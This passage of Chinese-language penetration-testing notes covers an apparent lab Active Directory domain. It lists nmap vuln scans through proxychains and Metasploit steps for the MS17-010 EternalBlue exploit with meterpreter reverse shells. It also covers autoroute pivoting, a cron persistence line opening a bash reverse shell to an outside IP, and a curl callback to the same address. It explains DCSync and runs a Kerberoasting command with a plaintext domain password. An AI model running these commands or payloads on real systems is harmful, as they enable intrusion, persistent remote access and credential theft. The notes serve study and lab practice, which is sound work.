$ip = ($result | Select-String -Pattern "Address: (\d+\.\d+\.\d+\.\d+)" | ForEach-Object { $_.Matches.Groups[1].Value })
# 如果找到 IP 地址,输出
Write-Output "$ip"
}
nmap
#指定脚本扫描
proxychains4 nmap -sT -A -Pn --script vuln -p 445 172.22.9.47 > nmap01.txt'
#指定ip扫描
proxychains4 nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt
msf
#打开监听器
use exploit/multi/handler
#搜索永恒之蓝
search ms17-010
#cs上线msf需要选择foregin监听器
msf机器监听,靶机运行shell脚本即可
#查看当前权限
getuid
#添加路由(拿到shell之后)
run autoroute -p 然后运行Example里面的命令,即可通讯到靶机的所有网段
#返回原来的shell界面
background
#查看目前所有路由
sessions
#执行文件
execute -f C:\\1.exe
#上传文件
upload /root/1.exe C:\\1.exe
反向上线路由监听机器
#设置路由解析
run autoroute -p #运行Example里面的命令
#设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 被控机器ip
set LPORT 被控机器的监听端口
#攻击ms17-010
search ms17-010
use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 被控机器ip
set LPORT 被控机器的监听端口
#启动!!!
run
#这里的payload、LHOST、LPORT必须一致
写计划任务
- Centos 的定时任务文件在
/var/spool/cron/<username> - Ubuntu 定时任务文件在
/var/spool/cron/crontabs/<username>
#crontab -u <-l, -r, -e>
-u:指定一个用户
-l:列出某个用户的任务计划
-r:删除某个用户的任务
-e:编辑某个用户的任务
系统计划任务
echo '* * * * * bash -c "bash -i >& /dev/tcp/47.121.123.96/250 0>&1"' > root
* * * * * curl http://47.121.123.96:250
用户计划任务
文件路径
/var/spool/cron/username
概念解析
DCSync
DCSync攻击:
DCSync的原理是利用域控制器之间的数据同步复制
DCSync是AD域渗透中常用的凭据窃取手段,默认情况下,域内不同DC每隔15分钟会进行一次数据同步,当一个DC从另外一个DC同步数据时,发起请求的一方会通过目录复制协议(MS- DRSR)来对另外一台域控中的域用户密码进行复制,DCSync就是利用这个原理,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据,由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
DCSync 攻击前提:
想进行DCSync 攻击,必须获得以下任一用户的权限:
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户
即:默认情况下域管理员组具有该权限
如图(Initial),因为xiaorang-WIN7具有dcsync权限,所以可以dump域内的所有哈希
SPN
https://zhuanlan.zhihu.com/p/474062138
服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册 SPN。
如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。一个账户可以对应多个SPN,一个SPN只对应一个账号,一个SPN对应一个服务。
类型
- 一种是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。
- 一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
如下图所示,CN=Computers那就是主机,CN=Users那就是在域用户下注册:
扫描SPN
这里可以分为GetUserSPNs.py和其他,主要区别在于其他脚本需要rdp上对应域内机器进行操作,而GetUserSPNs.py只需要正确的域内账号密码即可,不要求可以rdp
proxychains4 impacket-GetUserSPNs -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf
Kerberos
Kerberos 身份验证协议包括三种类型的交换(也称为子协议):
- 身份验证服务 (AS) 交换 (KRB_AS_*)
- 票证授予服务 (TGS) 交换 (KRB_TGS_*)
- 客户端/服务器 (AP) 交换 (KRB_AP_*)
在 AS 交换中,客户端可以使用帐户的密码或私钥创建预身份验证器,从而请求票证授予票证 (TGT)。 此情况在用户登录或首次需要服务票证时发生。
在 TGS 交换中,帐户的 TGT 用于创建身份验证器,以请求服务票证。 此情况在需要经过验证的连接时发生。
AP 交换的发生频率与应用程序协议的中数据相同,并且不受应用程序协议的影响。
TGT(Ticket Granting Ticket)
定义:TGT是票据授予票据,它是用户在初始身份验证时由Kerberos认证服务器(AS,Authentication Server)颁发的票据。
功能:TGT的主要功能是允许用户在无需再次输入密码的情况下,从票据授予服务器(TGS,Ticket Granting Server)请求访问其他服务的票据。它相当于一个通行证,证明用户已经通过了身份验证。
工作原理:用户首次登录时,会向AS发送一个包含用户名的请求。AS验证用户的身份后,生成一个TGT,并用用户的密钥(通常是由用户密码派生的密钥)加密后返回给用户。用户可以使用这个TGT在会话期间请求其他服务的访问票据,而不需要重新输入密码。
ST(Service Ticket)
定义:ST是服务票据,它是用户在请求访问特定服务时,由TGS颁发的票据。
功能:ST的主要功能是授权用户访问特定的服务。每个ST都是针对一个特定的服务生成的,用户需要向TGS提供有效的TGT来请求ST。
工作原理:当用户需要访问某个服务时,会向TGS发送一个包含TGT和请求服务信息的请求。TGS验证TGT的有效性后,生成一个ST并返回给用户。用户然后将这个ST提交给目标服务(Server),服务会验证ST的有效性,进而允许用户访问。
SPN(Service Principal Name)
一个SPN通常由以下几个部分组成:
- 服务类(Service Class):指定服务的类型,例如 HTTP、MSSQLSvc、HOST 等。
- 主机名(Hostname):提供服务的主机的名称,可以是完全限定域名(FQDN)或简单主机名。
- 端口(Port)(可选):服务的端口号,有时会包含在SPN中以进一步区分服务实例。
SPN在Kerberos中的作用
- 标识服务:SPN唯一标识网络中的服务实例,使得Kerberos能够准确地颁发服务票据。
- 服务票据请求:当用户需要访问某个服务时,他们会使用SPN向TGS请求服务票据。TGS通过SPN识别目标服务并生成相应的服务票据。
- 服务验证:当服务收到服务票据时,它使用SPN来验证票据是否授予了正确的服务。
TGS交换与GetUserSPNs
用户获取TGT:
- 用户首先通过认证服务器(AS)进行身份验证,获取一个票证授予票证(TGT)。
- TGT允许用户在会话期间无需再次输入密码就能请求服务票据。
用户请求服务票据(TGS交换):
- 用户使用已获取的TGT向票证授予服务器(TGS)请求特定服务的访问票据。
- 用户发送的请求包括TGT和对特定服务的请求。
TGS生成服务票据(TGS ticket):
- TGS验证TGT的有效性,并生成一个服务票据(TGS ticket),用于用户访问所请求的服务。
- 这个服务票据(TGS ticket)是加密的,只能被目标服务解密和验证。
简单来说这里获取的就是TGS交换过程返回的TGS ticket,我们通过对其的爆破得到用户密码明文进行进行恶意操作。
PS:服务票据(TGS ticket)就是ST(Service Ticket)
在此鸣谢chu0大手子的教导!!!













